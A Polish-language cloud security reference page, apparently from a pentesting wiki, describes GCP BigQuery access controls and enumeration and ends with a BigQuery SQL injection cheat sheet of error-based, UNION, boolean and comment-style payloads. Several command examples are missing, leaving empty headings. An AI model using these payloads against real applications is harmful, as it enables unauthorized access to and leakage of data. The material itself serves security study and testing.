GCP - Bigquery Enum
Podstawowe informacje
Google Cloud BigQuery to w pełni zarządzany, serwerlessowy hurtownia danych dla przedsiębiorstw, oferujący możliwości analizy petabajtów danych, dzięki czemu efektywnie obsługuje duże zbiory danych. Jako Platforma jako Usługa (PaaS) zapewnia użytkownikom infrastrukturę i narzędzia ułatwiające zarządzanie danymi bez konieczności ręcznego nadzoru.
Obsługuje zapytania za pomocą ANSI SQL. Główne obiekty to zbiory danych zawierające tabyele zawierające dane SQL.
Szyfrowanie
Domyślnie używany jest szyfrujący klucz zarządzany przez Google, chociaż możliwe jest skonfigurowanie szyfrującego klucza zarządzanego przez klienta (CMEK). Możliwe jest wskazanie klucza szyfrowania na poziomie zbioru danych i tabeli wewnątrz zbioru danych.
Wygaśnięcie
Możliwe jest wskazanie czasu wygaśnięcia w zbiorze danych, dzięki czemu każda nowa tabela utworzona w tym zbiorze danych zostanie automatycznie usunięta określoną liczbę dni po utworzeniu.
Zewnętrzne źródła
Bigquery jest głęboko zintegrowany z innymi usługami Google. Możliwe jest wczytywanie danych z kubełków, pub/sub, dysku Google, baz danych RDS...
ACL zbioru danych
Po utworzeniu zbioru danych dołączone są ACL, aby umożliwić dostęp do niego. Domyślnie nadane są uprawnienia Właściciela użytkownikowi, który utworzył zbiór danych, a następnie Właściciela grupie projectOwners (Właściciele projektu), Pisarza grupie projectWriters i Czytelnika grupie projectReaders:
Kontrola dostępu do wierszy tabeli
Możliwe jest kontrolowanie wierszy, do których podmiot będzie miał dostęp wewnątrz tabeli za pomocą polityk dostępu do wierszy. Są one zdefiniowane wewnątrz tabeli za pomocą DDL. Polityka dostępu definiuje filtr i tylko pasujące wiersze z tym filtrem będą dostępne dla wskazanych podmiotów.
Kontrola dostępu do kolumn
Aby ograniczyć dostęp do danych na poziomie kolumn:
Zdefiniuj taksonomię i tagi zasad. Utwórz i zarządzaj taksonomią oraz tagami zasad dla swoich danych. https://console.cloud.google.com/bigquery/policy-tags
Opcjonalnie: Przydziel rolę Czytelników o precyzyjnym dostępie do katalogu danych jednemu lub kilku podmiotom na jednym lub kilku z utworzonych tagów zasad.
Przypisz tagi zasad do kolumn BigQuery. W BigQuery użyj adnotacji schematu, aby przypisać tag zasad do każdej kolumny, do której chcesz ograniczyć dostęp.
Wymuś kontrolę dostępu do taksonomii. Wymuszenie kontroli dostępu powoduje zastosowanie ograniczeń dostępu zdefiniowanych dla wszystkich tagów zasad w taksonomii.
Zarządzaj dostępem do tagów zasad. Użyj Zarządzania Tożsamościami i Dostępem (IAM), aby ograniczyć dostęp do każdego tagu zasad. Polityka jest obowiązująca dla każdej kolumny należącej do tagu zasad.
Gdy użytkownik próbuje uzyskać dostęp do danych kolumny podczas zapytania, BigQuery sprawdza tag zasad kolumny i jego zasadę, aby sprawdzić, czy użytkownik ma autoryzację do dostępu do danych.
Podsumowując, aby ograniczyć dostęp do niektórych kolumn dla niektórych użytkowników, możesz dodać tag do kolumny w schemacie i ograniczyć dostęp użytkowników do tagu, wymuszając kontrolę dostępu do taksonomii tagu.
Aby wymusić kontrolę dostępu do taksonomii, konieczne jest włączenie usługi:
Możliwe jest zobaczenie tagów kolumn za pomocą:
Wyliczanie
Wstrzykiwanie SQL w BigQuery
Aby uzyskać dalsze informacje, możesz sprawdzić post na blogu: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Tutaj zostaną podane tylko niektóre szczegóły.
Komentarze:
select 1#from here it is not working
select 1/*between those it is not working*/
Ale tylko początkowy nie będzie działaćselect 1--from here it is not working
Uzyskaj informacje o środowisku, takie jak:
Bieżący użytkownik:
select session_user()
Identyfikator projektu:
select @@project_id
Łączenie wierszy:
Wszystkie nazwy tabel:
string_agg(table_name, ', ')
Uzyskaj nazwy zbiorów danych, tabel i kolumn:
Nazwa projektu i zbioru danych:
Nazwy kolumn i tabel wszystkich tabel zbioru danych:
Inne zbiory danych w tym samym projekcie:
Typy atak SQL Injection:
Oparte na błędach - rzutowanie:
select CAST(@@project_id AS INT64)
Oparte na błędach - dzielenie przez zero:
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Oparte na łączeniu (należy użyć ALL w bigquery):
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Oparte na wartości logicznej:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Potencjalnie oparte na czasie - Przykład użycia publicznych zbiorów danych:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Dokumentacja:
Lista wszystkich funkcji: https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
Instrukcje skryptowe: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Eskalacja uprawnień i eksploatacja po ataku
GCP - BigQuery PrivescTrwałość
GCP - BigQuery PersistenceOdnośniki
Last updated